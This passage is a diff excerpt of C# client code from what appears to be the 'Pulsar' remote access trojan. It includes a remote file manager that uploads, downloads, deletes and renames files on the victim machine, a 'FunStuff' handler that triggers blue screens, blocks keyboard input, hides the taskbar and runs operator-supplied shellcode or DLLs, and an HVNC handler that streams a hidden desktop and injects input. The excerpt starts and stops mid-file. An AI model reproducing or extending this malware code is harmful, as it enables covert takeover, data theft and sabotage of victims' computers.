private void HandleDoZipFile(ISender client, DoZipFolder message)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(message.SourcePath))
|
||||
{
|
||||
client.Send(new SetStatusFileManager { Message = $"Directory not found: {message.SourcePath}" });
|
||||
return;
|
||||
}
|
||||
|
||||
client.Send(new SetStatusFileManager { Message = $"Creating zip archive: {message.DestinationPath}" });
|
||||
|
||||
string parentDir = Path.GetDirectoryName(message.DestinationPath);
|
||||
if (!Directory.Exists(parentDir))
|
||||
Directory.CreateDirectory(parentDir);
|
||||
|
||||
if (File.Exists(message.DestinationPath))
|
||||
File.Delete(message.DestinationPath);
|
||||
|
||||
ZipFile.CreateFromDirectory(
|
||||
message.SourcePath,
|
||||
message.DestinationPath,
|
||||
(CompressionLevel)message.CompressionLevel,
|
||||
includeBaseDirectory: false);
|
||||
|
||||
client.Send(new SetStatusFileManager { Message = $"Successfully created zip: {message.DestinationPath}" });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatusFileManager { Message = $"Error creating zip: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetDrives command)
|
||||
{
|
||||
DriveInfo[] driveInfos;
|
||||
try
|
||||
{
|
||||
driveInfos = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray();
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
client.Send(new SetStatusFileManager { Message = "GetDrives I/O error", SetLastDirectorySeen = false });
|
||||
return;
|
||||
}
|
||||
catch (UnauthorizedAccessException)
|
||||
{
|
||||
client.Send(new SetStatusFileManager { Message = "GetDrives No permission", SetLastDirectorySeen = false });
|
||||
return;
|
||||
}
|
||||
|
||||
if (driveInfos.Length == 0)
|
||||
{
|
||||
client.Send(new SetStatusFileManager { Message = "GetDrives No drives", SetLastDirectorySeen = false });
|
||||
return;
|
||||
}
|
||||
|
||||
Drive[] drives = new Drive[driveInfos.Length];
|
||||
for (int i = 0; i < drives.Length; i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
var displayName = !string.IsNullOrEmpty(driveInfos[i].VolumeLabel)
|
||||
? string.Format("{0} ({1}) [{2}, {3}]", driveInfos[i].RootDirectory.FullName,
|
||||
driveInfos[i].VolumeLabel,
|
||||
driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat)
|
||||
: string.Format("{0} [{1}, {2}]", driveInfos[i].RootDirectory.FullName,
|
||||
driveInfos[i].DriveType.ToFriendlyString(), driveInfos[i].DriveFormat);
|
||||
|
||||
drives[i] = new Drive
|
||||
{ DisplayName = displayName, RootDirectory = driveInfos[i].RootDirectory.FullName };
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
client.Send(new GetDrivesResponse { Drives = drives });
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetDirectory message)
|
||||
{
|
||||
bool isError = false;
|
||||
string statusMessage = null;
|
||||
|
||||
Action<string> onError = (msg) =>
|
||||
{
|
||||
isError = true;
|
||||
statusMessage = msg;
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
DirectoryInfo dicInfo = new DirectoryInfo(message.RemotePath);
|
||||
|
||||
FileInfo[] files = dicInfo.GetFiles();
|
||||
DirectoryInfo[] directories = dicInfo.GetDirectories();
|
||||
|
||||
FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length];
|
||||
|
||||
int offset = 0;
|
||||
for (int i = 0; i < directories.Length; i++, offset++)
|
||||
{
|
||||
items[i] = new FileSystemEntry
|
||||
{
|
||||
EntryType = FileType.Directory,
|
||||
Name = directories[i].Name,
|
||||
Size = 0,
|
||||
LastAccessTimeUtc = directories[i].LastAccessTimeUtc
|
||||
};
|
||||
}
|
||||
|
||||
for (int i = 0; i < files.Length; i++)
|
||||
{
|
||||
items[i + offset] = new FileSystemEntry
|
||||
{
|
||||
EntryType = FileType.File,
|
||||
Name = files[i].Name,
|
||||
Size = files[i].Length,
|
||||
ContentType = Path.GetExtension(files[i].Name).ToContentType(),
|
||||
LastAccessTimeUtc = files[i].LastAccessTimeUtc
|
||||
};
|
||||
}
|
||||
|
||||
client.Send(new GetDirectoryResponse { RemotePath = message.RemotePath, Items = items });
|
||||
}
|
||||
catch (UnauthorizedAccessException)
|
||||
{
|
||||
onError("GetDirectory No permission");
|
||||
}
|
||||
catch (SecurityException)
|
||||
{
|
||||
onError("GetDirectory No permission");
|
||||
}
|
||||
catch (PathTooLongException)
|
||||
{
|
||||
onError("GetDirectory Path too long");
|
||||
}
|
||||
catch (DirectoryNotFoundException)
|
||||
{
|
||||
onError("GetDirectory Directory not found");
|
||||
}
|
||||
catch (FileNotFoundException)
|
||||
{
|
||||
onError("GetDirectory File not found");
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
onError("GetDirectory I/O error");
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
onError("GetDirectory Failed");
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (isError && !string.IsNullOrEmpty(statusMessage))
|
||||
client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = true });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, FileTransferRequest message)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
_limitThreads.WaitOne();
|
||||
try
|
||||
{
|
||||
using (var srcFile = new FileSplit(message.RemotePath, FileAccess.Read))
|
||||
{
|
||||
_activeTransfers[message.Id] = srcFile;
|
||||
OnReport("File upload started");
|
||||
foreach (var chunk in srcFile)
|
||||
{
|
||||
if (_token.IsCancellationRequested || !_activeTransfers.ContainsKey(message.Id))
|
||||
break;
|
||||
|
||||
// blocking sending might not be required, needs further testing
|
||||
_client.SendBlocking(new FileTransferChunk
|
||||
{
|
||||
Id = message.Id,
|
||||
FilePath = message.RemotePath,
|
||||
FileSize = srcFile.FileSize,
|
||||
Chunk = chunk
|
||||
});
|
||||
}
|
||||
|
||||
client.Send(new FileTransferComplete
|
||||
{
|
||||
Id = message.Id,
|
||||
FilePath = message.RemotePath
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
client.Send(new FileTransferCancel
|
||||
{
|
||||
Id = message.Id,
|
||||
Reason = "Error reading file"
|
||||
});
|
||||
}
|
||||
finally
|
||||
{
|
||||
RemoveFileTransfer(message.Id);
|
||||
_limitThreads.Release();
|
||||
}
|
||||
}).Start();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, FileTransferCancel message)
|
||||
{
|
||||
if (_activeTransfers.ContainsKey(message.Id))
|
||||
{
|
||||
RemoveFileTransfer(message.Id);
|
||||
client.Send(new FileTransferCancel
|
||||
{
|
||||
Id = message.Id,
|
||||
Reason = "Canceled"
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Validates and sanitizes a file path to prevent path traversal attacks.
|
||||
/// </summary>
|
||||
/// <param name="filePath">The file path to validate.</param>
|
||||
/// <returns>A safe file path or null if the path is invalid.</returns>
|
||||
private string ValidateAndSanitizeFilePath(string filePath)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(filePath))
|
||||
return null;
|
||||
|
||||
string fullPath = Path.GetFullPath(filePath);
|
||||
|
||||
if (!Path.IsPathRooted(fullPath))
|
||||
return null;
|
||||
|
||||
string fileName = Path.GetFileName(fullPath);
|
||||
if (string.IsNullOrEmpty(fileName) || fileName.Contains(".."))
|
||||
return null;
|
||||
|
||||
char[] invalidChars = Path.GetInvalidFileNameChars();
|
||||
if (fileName.IndexOfAny(invalidChars) >= 0)
|
||||
return null;
|
||||
|
||||
string directory = Path.GetDirectoryName(fullPath);
|
||||
if (string.IsNullOrEmpty(directory))
|
||||
return null;
|
||||
|
||||
if (!Directory.Exists(directory))
|
||||
{
|
||||
Directory.CreateDirectory(directory);
|
||||
}
|
||||
|
||||
return fullPath;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, FileTransferChunk message)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (message.Chunk.Offset == 0)
|
||||
{
|
||||
string filePath = message.FilePath;
|
||||
|
||||
if (string.IsNullOrEmpty(filePath))
|
||||
{
|
||||
// generate new temporary file path if empty
|
||||
filePath = FileHelper.GetTempFilePath(message.FileExtension);
|
||||
}
|
||||
else
|
||||
{
|
||||
filePath = ValidateAndSanitizeFilePath(filePath);
|
||||
if (filePath == null)
|
||||
{
|
||||
client.Send(new FileTransferCancel
|
||||
{
|
||||
Id = message.Id,
|
||||
Reason = "Invalid file path - security violation"
|
||||
});
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (File.Exists(filePath))
|
||||
{
|
||||
// delete existing file
|
||||
NativeMethods.DeleteFile(filePath);
|
||||
}
|
||||
|
||||
_activeTransfers[message.Id] = new FileSplit(filePath, FileAccess.Write);
|
||||
OnReport("File download started");
|
||||
}
|
||||
|
||||
if (!_activeTransfers.ContainsKey(message.Id))
|
||||
return;
|
||||
|
||||
var destFile = _activeTransfers[message.Id];
|
||||
destFile.WriteChunk(message.Chunk);
|
||||
|
||||
if (destFile.FileSize == message.FileSize)
|
||||
{
|
||||
client.Send(new FileTransferComplete
|
||||
{
|
||||
Id = message.Id,
|
||||
FilePath = destFile.FilePath
|
||||
});
|
||||
RemoveFileTransfer(message.Id);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
RemoveFileTransfer(message.Id);
|
||||
client.Send(new FileTransferCancel
|
||||
{
|
||||
Id = message.Id,
|
||||
Reason = "Error writing file"
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoPathDelete message)
|
||||
{
|
||||
bool isError = false;
|
||||
string statusMessage = null;
|
||||
|
||||
Action<string> onError = (msg) =>
|
||||
{
|
||||
isError = true;
|
||||
statusMessage = msg;
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
switch (message.PathType)
|
||||
{
|
||||
case FileType.Directory:
|
||||
Directory.Delete(message.Path, true);
|
||||
client.Send(new SetStatusFileManager
|
||||
{
|
||||
Message = "Deleted directory",
|
||||
SetLastDirectorySeen = false
|
||||
});
|
||||
break;
|
||||
case FileType.File:
|
||||
File.Delete(message.Path);
|
||||
client.Send(new SetStatusFileManager
|
||||
{
|
||||
Message = "Deleted file",
|
||||
SetLastDirectorySeen = false
|
||||
});
|
||||
break;
|
||||
}
|
||||
|
||||
Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.Path) });
|
||||
}
|
||||
catch (UnauthorizedAccessException)
|
||||
{
|
||||
onError("DeletePath No permission");
|
||||
}
|
||||
catch (PathTooLongException)
|
||||
{
|
||||
onError("DeletePath Path too long");
|
||||
}
|
||||
catch (DirectoryNotFoundException)
|
||||
{
|
||||
onError("DeletePath Path not found");
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
onError("DeletePath I/O error");
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
onError("DeletePath Failed");
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (isError && !string.IsNullOrEmpty(statusMessage))
|
||||
client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoPathRename message)
|
||||
{
|
||||
bool isError = false;
|
||||
string statusMessage = null;
|
||||
|
||||
Action<string> onError = (msg) =>
|
||||
{
|
||||
isError = true;
|
||||
statusMessage = msg;
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
switch (message.PathType)
|
||||
{
|
||||
case FileType.Directory:
|
||||
Directory.Move(message.Path, message.NewPath);
|
||||
client.Send(new SetStatusFileManager
|
||||
{
|
||||
Message = "Renamed directory",
|
||||
SetLastDirectorySeen = false
|
||||
});
|
||||
break;
|
||||
case FileType.File:
|
||||
File.Move(message.Path, message.NewPath);
|
||||
client.Send(new SetStatusFileManager
|
||||
{
|
||||
Message = "Renamed file",
|
||||
SetLastDirectorySeen = false
|
||||
});
|
||||
break;
|
||||
}
|
||||
|
||||
Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.NewPath) });
|
||||
}
|
||||
catch (UnauthorizedAccessException)
|
||||
{
|
||||
onError("RenamePath No permission");
|
||||
}
|
||||
catch (PathTooLongException)
|
||||
{
|
||||
onError("RenamePath Path too long");
|
||||
}
|
||||
catch (DirectoryNotFoundException)
|
||||
{
|
||||
onError("RenamePath Path not found");
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
onError("RenamePath I/O error");
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
onError("RenamePath Failed");
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (isError && !string.IsNullOrEmpty(statusMessage))
|
||||
client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false });
|
||||
}
|
||||
}
|
||||
|
||||
private void RemoveFileTransfer(int id)
|
||||
{
|
||||
if (_activeTransfers.ContainsKey(id))
|
||||
{
|
||||
_activeTransfers[id]?.Dispose();
|
||||
_activeTransfers.TryRemove(id, out _);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_client.ClientState -= OnClientStateChange;
|
||||
_tokenSource.Cancel();
|
||||
_tokenSource.Dispose();
|
||||
foreach (var transfer in _activeTransfers)
|
||||
{
|
||||
transfer.Value?.Dispose();
|
||||
}
|
||||
|
||||
_activeTransfers.Clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,276 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Messages.FunStuff;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Client.FunStuff;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class FunStuffHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
private BSOD _bsod = new BSOD();
|
||||
private SwapMouseButtons _swapMouseButtons = new SwapMouseButtons();
|
||||
private HideTaskbar _hideTaskbar = new HideTaskbar();
|
||||
private KeyboardInput _keyboardInput = new KeyboardInput();
|
||||
private CDTray _cdTray = new CDTray();
|
||||
private MonitorPower _monitorPower = new MonitorPower();
|
||||
private ShellcodeRunner _shellcodeRunner = new ShellcodeRunner();
|
||||
private DllRunner _dllRunner = new DllRunner(); // Added DLL runner
|
||||
|
||||
public bool CanExecute(IMessage message) =>
|
||||
message is DoBSOD ||
|
||||
message is DoSwapMouseButtons ||
|
||||
message is DoHideTaskbar ||
|
||||
message is DoChangeWallpaper ||
|
||||
message is DoBlockKeyboardInput ||
|
||||
message is DoCDTray ||
|
||||
message is DoMonitorsOff ||
|
||||
message is DoSendBinFile;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoBSOD msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoSwapMouseButtons msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoHideTaskbar msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoChangeWallpaper msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoBlockKeyboardInput msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoCDTray msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoMonitorsOff msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoSendBinFile msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoSendBinFile message)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Determine if this is shellcode or DLL based on message properties or content
|
||||
if (IsDllPayload(message))
|
||||
{
|
||||
_dllRunner.Handle(message, client);
|
||||
}
|
||||
else
|
||||
{
|
||||
_shellcodeRunner.Handle(message, client);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Failed to execute binary: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
private bool IsDllPayload(DoSendBinFile message)
|
||||
{
|
||||
// You can implement logic here to determine if the payload is a DLL
|
||||
// Some possible approaches:
|
||||
|
||||
// 1. Check file extension if available in message
|
||||
// if (!string.IsNullOrEmpty(message.FileName) && message.FileName.EndsWith(".dll", StringComparison.OrdinalIgnoreCase))
|
||||
// return true;
|
||||
|
||||
// 2. Check for DLL signature (MZ header)
|
||||
if (message.Data?.Length > 1 && message.Data[0] == 0x4D && message.Data[1] == 0x5A)
|
||||
return true;
|
||||
|
||||
// 3. Add a property to DoSendBinFile message type to specify payload type
|
||||
// return message.PayloadType == "dll";
|
||||
|
||||
// For now, default to shellcode execution
|
||||
return false;
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoCDTray message)
|
||||
{
|
||||
try
|
||||
{
|
||||
_cdTray.Handle(message);
|
||||
client.Send(new SetStatus { Message = $"CD tray {(message.Open ? "opened" : "closed")} successfully" });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Failed to {(message.Open ? "open" : "close")} CD tray: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoMonitorsOff message)
|
||||
{
|
||||
try
|
||||
{
|
||||
_monitorPower.Handle(message);
|
||||
client.Send(new SetStatus { Message = $"Monitors turned {(message.Off ? "off" : message.On ? "on" : "no action")} successfully" });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Failed to change monitor state: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoBSOD message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Successful BSOD" });
|
||||
_bsod.DOBSOD();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoSwapMouseButtons message)
|
||||
{
|
||||
try
|
||||
{
|
||||
SwapMouseButtons.SwapMouse();
|
||||
client.Send(new SetStatus { Message = "Successfull Mouse Swap" });
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Failed to swap mouse buttons" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoHideTaskbar message)
|
||||
{
|
||||
try
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Successful Hide Taskbar" });
|
||||
HideTaskbar.DoHideTaskbar();
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Failed to hide taskbar" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoChangeWallpaper message)
|
||||
{
|
||||
try
|
||||
{
|
||||
string imagePath = SaveImageToFile(message.ImageData, message.ImageFormat);
|
||||
ChangeWallpaper.SetWallpaper(imagePath);
|
||||
client.Send(new SetStatus { Message = "Successful Wallpaper Change" });
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Failed to change wallpaper" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoBlockKeyboardInput message)
|
||||
{
|
||||
try
|
||||
{
|
||||
_keyboardInput.Handle(message);
|
||||
client.Send(new SetStatus { Message = $"Keyboard input {(message.Block ? "blocked" : "unblocked")} successfully" });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Failed to {(message.Block ? "block" : "unblock")} keyboard input: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
private string SaveImageToFile(byte[] imageData, string imageFormat)
|
||||
{
|
||||
string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper" + GetImageExtension(imageFormat));
|
||||
using (MemoryStream ms = new MemoryStream(imageData))
|
||||
{
|
||||
Image image = Image.FromStream(ms);
|
||||
image.Save(tempPath, GetImageFormat(imageFormat));
|
||||
}
|
||||
return tempPath;
|
||||
}
|
||||
|
||||
private string GetImageExtension(string imageFormat)
|
||||
{
|
||||
switch (imageFormat?.ToLower())
|
||||
{
|
||||
case "jpeg":
|
||||
case "jpg":
|
||||
return ".jpg";
|
||||
case "png":
|
||||
return ".png";
|
||||
case "bmp":
|
||||
return ".bmp";
|
||||
case "gif":
|
||||
return ".gif";
|
||||
default:
|
||||
return ".img";
|
||||
}
|
||||
}
|
||||
|
||||
private ImageFormat GetImageFormat(string imageFormat)
|
||||
{
|
||||
switch (imageFormat?.ToLower())
|
||||
{
|
||||
case "jpeg":
|
||||
case "jpg":
|
||||
return ImageFormat.Jpeg;
|
||||
case "png":
|
||||
return ImageFormat.Png;
|
||||
case "bmp":
|
||||
return ImageFormat.Bmp;
|
||||
case "gif":
|
||||
return ImageFormat.Gif;
|
||||
default:
|
||||
throw new NotSupportedException($"Image format {imageFormat} is not supported.");
|
||||
}
|
||||
}
|
||||
|
||||
#region IDisposable Implementation
|
||||
|
||||
private bool _disposed = false;
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (!_disposed)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_keyboardInput?.Dispose();
|
||||
}
|
||||
_disposed = true;
|
||||
}
|
||||
}
|
||||
|
||||
~FunStuffHandler()
|
||||
{
|
||||
Dispose(false);
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,416 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Client.Helper.HVNC;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Monitoring.HVNC;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Video;
|
||||
using Pulsar.Common.Video.Codecs;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class HVNCHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
private UnsafeStreamCodec _streamCodec;
|
||||
private BitmapData _desktopData = null;
|
||||
private Bitmap _desktop = null;
|
||||
private ISender _clientMain;
|
||||
private Thread _captureThread;
|
||||
private CancellationTokenSource _cancellationTokenSource;
|
||||
|
||||
|
||||
private readonly ImageHandler ImageHandler = new ImageHandler("PulsarDesktop");
|
||||
private readonly InputHandler InputHandler = new InputHandler("PulsarDesktop");
|
||||
private readonly ProcessController ProcessHandler = new ProcessController("PulsarDesktop");
|
||||
|
||||
// frame control variables
|
||||
private readonly ConcurrentQueue<byte[]> _frameBuffer = new ConcurrentQueue<byte[]>();
|
||||
private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false);
|
||||
private int _pendingFrameRequests = 0;
|
||||
|
||||
//fps counting
|
||||
private int _framesSent = 0;
|
||||
private float _currentFps = 0f;
|
||||
|
||||
// max buffer size to prevent memory issues
|
||||
private const int MAX_BUFFER_SIZE = 10;
|
||||
|
||||
private readonly Stopwatch _stopwatch = new Stopwatch();
|
||||
|
||||
public bool CanExecute(IMessage message)
|
||||
{
|
||||
return message is GetHVNCDesktop || message is DoHVNCInput || message is StartHVNCProcess || message is GetHVNCMonitors;
|
||||
}
|
||||
|
||||
public bool CanExecuteFrom(ISender sender)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetHVNCDesktop getDesktop:
|
||||
Execute(sender, getDesktop);
|
||||
break;
|
||||
case DoHVNCInput doInput:
|
||||
InputHandler.Input(doInput.msg, (IntPtr)doInput.wParam, (IntPtr)doInput.lParam);
|
||||
break;
|
||||
case StartHVNCProcess startHVNCProcess:
|
||||
_ = ExecuteAsync(sender, startHVNCProcess);
|
||||
break;
|
||||
case GetHVNCMonitors _:
|
||||
Execute(sender);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetHVNCDesktop message)
|
||||
{
|
||||
if (message.Status == RemoteDesktopStatus.Stop)
|
||||
{
|
||||
StopScreenStreaming();
|
||||
}
|
||||
else if (message.Status == RemoteDesktopStatus.Start)
|
||||
{
|
||||
StartScreenStreaming(client, message);
|
||||
}
|
||||
else if (message.Status == RemoteDesktopStatus.Continue)
|
||||
{
|
||||
Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested);
|
||||
_frameRequestEvent.Set();
|
||||
}
|
||||
}
|
||||
|
||||
private void StartScreenStreaming(ISender client, GetHVNCDesktop message)
|
||||
{
|
||||
var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex);
|
||||
var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
|
||||
|
||||
if (_streamCodec == null)
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
|
||||
if (message.CreateNew)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
}
|
||||
|
||||
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
}
|
||||
|
||||
_clientMain = client;
|
||||
|
||||
ClearFrameBuffer();
|
||||
Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested);
|
||||
|
||||
if (_captureThread == null || !_captureThread.IsAlive)
|
||||
{
|
||||
_cancellationTokenSource = new CancellationTokenSource();
|
||||
_captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token, message.DisplayIndex))
|
||||
{
|
||||
IsBackground = true,
|
||||
Name = "HVNC Capture Loop"
|
||||
};
|
||||
_captureThread.Start();
|
||||
}
|
||||
}
|
||||
|
||||
private void StopScreenStreaming()
|
||||
{
|
||||
_cancellationTokenSource?.Cancel();
|
||||
|
||||
if (_captureThread != null && _captureThread.IsAlive)
|
||||
{
|
||||
_frameRequestEvent.Set();
|
||||
_captureThread.Join();
|
||||
_captureThread = null;
|
||||
}
|
||||
|
||||
if (_desktop != null)
|
||||
{
|
||||
if (_desktopData != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
_desktop.UnlockBits(_desktopData);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_desktopData = null;
|
||||
}
|
||||
_desktop.Dispose();
|
||||
_desktop = null;
|
||||
}
|
||||
|
||||
if (_streamCodec != null)
|
||||
{
|
||||
_streamCodec.Dispose();
|
||||
_streamCodec = null;
|
||||
}
|
||||
|
||||
ClearFrameBuffer();
|
||||
Interlocked.Exchange(ref _pendingFrameRequests, 0);
|
||||
}
|
||||
|
||||
private void BufferedCaptureLoop(CancellationToken cancellationToken, int displayIndex)
|
||||
{
|
||||
_stopwatch.Start();
|
||||
|
||||
while (!cancellationToken.IsCancellationRequested)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0)
|
||||
{
|
||||
_frameRequestEvent.WaitOne(500);
|
||||
|
||||
if (cancellationToken.IsCancellationRequested)
|
||||
break;
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
byte[] frameData = CaptureFrame(displayIndex);
|
||||
if (frameData != null)
|
||||
{
|
||||
_frameBuffer.Enqueue(frameData);
|
||||
_framesSent++;
|
||||
|
||||
if (_stopwatch.ElapsedMilliseconds >= 1000)
|
||||
{
|
||||
_currentFps = _framesSent / (_stopwatch.ElapsedMilliseconds / 1000f);
|
||||
_framesSent = 0;
|
||||
_stopwatch.Restart();
|
||||
}
|
||||
}
|
||||
|
||||
while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend))
|
||||
{
|
||||
SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Thread.Sleep(100);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] CaptureFrame(int displayIndex)
|
||||
{
|
||||
try
|
||||
{
|
||||
_desktop = ImageHandler.Screenshot(displayIndex);
|
||||
|
||||
if (_desktop == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb;
|
||||
Bitmap processedBitmap = _desktop;
|
||||
|
||||
if (_desktop.PixelFormat != codecPixelFormat)
|
||||
{
|
||||
try
|
||||
{
|
||||
